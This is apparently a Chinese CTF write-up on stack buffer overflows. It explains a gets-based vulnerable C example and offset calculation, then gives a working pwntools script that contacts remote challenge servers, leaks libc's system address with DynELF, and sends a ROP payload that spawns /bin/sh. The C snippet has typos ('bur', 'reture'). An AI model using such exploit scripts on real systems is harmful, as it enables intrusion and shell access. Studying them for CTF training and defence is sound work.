0*01什么是栈溢出
例子:
#include<stdio.h>
int main(){
char bur[30]="";
gets(buf);
reture 0;
}
通过gdb调试,我们可以看到buf的储存地址在0×ffffd5d6,push eax来栈入。
当程序继续向下运行的时候,会有返回点,由于gets未对输入的字符串长度进行限制,所以我们可以通过覆盖返回点来控制程序走向。
以攻防世界level1的一个题目为例,程序的溢出点在vulnerable_function中 。
通过执行add esp,0x10, leave可以达到返回点。
则通过ret 将返回到0x8048486,所以当我们将buf读入大量的字符串的时候,输入的字符串可以覆盖到ret的地址,将产生缓冲区溢出。
问题:在输入大量的字符串的过程中不影响程序的运行么?
答:不影响,因为通过调试我们可以看到在变量的读入到ret的地址的栈空间的数据,在程序的运行过程中,直接leave(mov esp ebp;pop ebp)掉,并没有对程序产生直接影响。计算偏移的过程,通过计算字符串与ebp的差值,然后+4即可计算出偏移。
Xman level1题目解题脚本
xman攻防世界的level1题目在远程环境和本地环境中,有所区别,本地可以直接拿到buf泄露的地址,但是在远程环境中,则是先接受输入,然后拿到输出的,在后来的出题过程中发现,是由于没有在题目中置空缓冲区造成的。
在这里用到DynELF来泄露出其libc中system的地址,其大概原理,是不间断的重复执行程序的前两部分,直到得到system字符串,有些类似暴力破解(此处仅个人理解),此也为泄露libc中system的一个template。
from pwn import *
import pwn
#nc pwn2.jarvisoj.com 9879
elf = ELF('./level3')
write_addr = elf.symbols['write']
read_addr = elf.symbols['read']
print(read_addr)
#raw_input()
start_addr = 0x8048350
#level3 = process('./level3')
#level3 = remote('111.198.29.45',42153)
level3 = remote('pwn2.jarvisoj.com',9879)
def leak(address):
data = level3.recv(7) #这里要特别注意,如果之后每次的跳转是start_addr,那么每次重新执行,都会接受到输出,如果忽略这里,很容易报错。
print (data)
payload = 'A' * 140
payload += p32(write_addr)
payload += p32(start_addr)
payload += p32(1)
payload += p32(address)
payload += p32(4)
level3.send(payload)
leak = level3.recv(4)
data = u32(leak)
print(hex(data))
#print(leak)
return leak
d = pwn.DynELF(leak,elf=ELF('./level3'))
system = d.lookup('system','libc')
data = level3.recv(7)
print ("data is ",data)
#bss_addr = elf
bss_addr = elf.bss()
pop_addr = 0x8048519
payload = 'A' * 140
payload += p32(read_addr)+p32(pop_addr)
payload += p32(0)
payload += p32(bss_addr)
payload += p32(8)
payload += p32(system)
payload += p32(0xdeadbeef)
payload += p32(bss_addr)
level3.sendline(payload)
#payload = '/bin/sh\x00'
#level3.sendline(payload)
level3.sendline('/bin/sh\x00')
#print(system)
level3.interactive()
0×02栈溢出
网友评论